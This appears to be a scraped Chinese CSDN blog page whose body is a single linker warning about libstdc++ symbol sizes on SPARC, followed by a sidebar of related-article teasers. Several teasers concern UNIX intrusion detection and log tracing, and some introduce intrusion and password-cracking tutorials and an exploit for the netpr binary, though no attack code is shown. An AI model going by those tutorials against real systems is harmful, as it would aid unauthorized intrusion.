ld: warning: symbol 'typeinfo for std::basic_iostream >' has differing sizes:         (file ../../../pub_c/src/cc++/serial.o value=0x48; file /usr/sfw/lib/sparcv9/libstdc++.so value=0x38);         .

咖啡与唾液淀粉酶 1110

RK3588上使用PCIE接口的国产千兆网卡YT6801

YT6801是裕太微电子开发的一款国产千兆PCIE以太网控制器芯片,可作为RK3588的PCIE外扩网口使用。

荻夜的博客 8214

UniX和类UNIX系统入侵检测方法

预备知识 因为UNIX和类UNIX系统经常承当着关键任务,所以它经常是入侵者攻击的首选目标。于是检测入侵、保护系统安全是管理员的最为重要的任务之一。那么,在没有其它工具帮助的情况下,如何去判断系统当前的安全性?如何去发现入侵呢?下面给大家介绍一些常用到的检查方法,以LINUX为例。 实验 检查系统密码文件首先从明显的入手,查看一下passwd文件,ls–l /etc/passwd查看文件修改的日期。输入命令awk–F:’$3==0 {print }’ /et...

lalalalala~~ 2935

Python 爬虫实战:微信搜一搜内容深度爬取(含搜索结果解析与企业级架构设计)

在信息爆炸的时代,微信搜一搜已成为海量信息获取的重要入口。无论是个人知识探索,还是企业舆情监控,掌握微信搜一搜内容的深度爬取能力具有巨大价值。本文将从基础原理到企业级实现,全面解析微信搜一搜爬虫的开发过程。

yansideyucsdn的博客 2455

Spring Boot集成ShardingSphere实现数据加密及数据脱敏 | Spring Cloud 48

利用ShardingSphere实现: - 数据加密 - 数据脱敏

gmHappy 1万+

UNIX入侵过程(2)

UNIX入侵过程(2)/*## copyright LAST STAGE OF DELIRIUM dec 1999 poland        *://lsd-pl.net/ #*/ /*## /usr/lib/lp/bin/netpr                                                   #*/   /

【GTA: Vice City】 1619

10、硬件工程师笔试面试——继电器(2025版本)

在设计电路时,应综合考虑SSR的优势和局限性,确保选择合适的型号,并采取适当的设计措施来优化性能和可靠性。继电器的主要功能是利用较小的电流或电压来控制较大电流或电压的电路,实现信号的放大和隔离。在处理继电器故障时,应综合考虑电源、线圈、触点和负载等因素,及时进行故障诊断和处理,以确保电路系统的稳定性和安全性。由于汽车电子系统的复杂性,继电器的设计和选择必须考虑到系统的特定要求,包括电流容量、电压等级、环境条件(如温度、湿度、振动)以及所需的保护和隔离功能。确定线圈的工作电压或电流,以及吸合电压或电流。

XU157303764的博客 3733

Unix 的入侵追踪

 在*NIX系统遭受入侵后,确定损失及入侵者的攻击源地址相当重要。虽然在大多数入侵者懂得使用曾被他们攻陷的机器作为跳板来攻击你的服务器可在他 们发动正式攻击前所做的目标信息收集工作(试探性扫描)常常是从他们的工作机开始的,本篇介绍如何从遭受入侵的系统的日志中分析出入侵者的IP并加以确定 的。1.messages  /var/adm是UNIX的日志目录(linux下则是/var/log)。有

不用此栏 2024

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

UNIX入侵过程(1)

UNIX入侵过程(1)作者序言:   本来很久以前说要写篇sunos 入侵教程的,但一直都没空,也没兴趣写。 说到就要做到。今天有点无聊的感觉,写点东西吧。 不过,这是我的最后一篇入侵教程。 黑来黑去有什么意思呢,我觉得还是写些技术分析的文章好些。 希望新手们看了我的这最后一篇入侵教程,能找到一些感觉。 这只是一篇写给新手的入门教程,不是新手的免看。

【GTA: Vice City】 1287

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

系统安全防护之UNIX下入侵检测的方法

 因为Unix系统经常承当着关键任务,所以它经常是入侵者攻击的首选目标。于是检测入侵、保护系统安全是管理员的最为重要的任务之一。那么,在没有其它工具帮助的情况下,如何去判断系统当前的安全性?如何去发现入侵呢?下面给大家介绍一些常用到的检查方法 以Linux和Solaris为例: 1、检查系统密码文件 首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看

不用此栏 2703

Unix常用手工入侵检测方法与命令

    一个好的网管员不但要管理好网络,能及时排除各种故障,还要注意网络安全,提防黑客入侵。所以熟悉常用手工入侵检测的方法和命令也应该是网管员们的基本技能之一。本文介绍的是一些Unix下常用手工入侵检测方法与命令,网管员们掌握了它不但可以迅速判断出一些简单的黑客入侵,还可以加深对入侵检测的了解,从而能更好地使用一些入侵检测和审计工具。    检查/etc/passwd文件中是否有可疑用户    U

s_sword的专栏 1039

入侵UNIX和Linux服务器入门

原贴:http://www.any2000.com/Articles/show/1581_1.htm 入侵UNIX和Linux服务器入门

最实用的Linux博客 925

Unix操作系统入侵追踪反击战

导读:   在Unix系统遭受入侵后,确定损失及入侵者的攻击源地址相当重要。虽然在大多数入侵者懂得使用曾被他们攻陷的机器作为跳板来攻击你的服务器可在他们发动正式攻击前所做的目标信息收集工作(试探性扫描)常常是从他们的工作机开始的,本篇介绍如何从遭受入侵的系统的日志中分析出入侵者的IP并加以确定的。      1.messages    /var/adm是UNIX的日志目录(linux下则是/var

技术资料库 1115

系统安全防护之UNIX下入侵检测方法

因为UNIX系统经常承当着关键任务,所以它经常是入侵者攻击的首选目标。于是检测入侵、保护系统安全是管理员的最为重要的任务之一。那么,在没有其它工具帮助的情况下,如何去判断系统当前的安全性?如何去发现入侵呢?下面给大家介绍一些常用到的检查方法  以LINUX和solaris为例:  1、检查系统密码文件  首先从明显的入手,查看一下passwd文件,ls –l /etc/pass

cnbird's blog 1004

黑客入侵的基础:口令入侵法

要入侵系统首先阻碍我们的将是网络管理员的第一道安全防线——合法的用户名与口令,它决定于你在该网站的权限,所以口令入侵法可以说是黑客的基础,对于一个刚开始学习HACK的网友这篇文章可能会让你大有所进。   当我们要试着解密之前我们得先来了解一下加密的过程,兼于加密方法的种类之多,我们就讲一下标准的UNIX加密技术,但关于DES加密技术的材料很少这主要是IBM应美国国家安全局的要求把某些文档定为了国家

wtj198714的专栏 1053
上一篇: UNIX入侵过程(2)
下一篇: OpenSSH缺陷允许攻击者远程利用/非法执行任意代码
bmsdr
博客等级 码龄22年 11粉丝 65原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值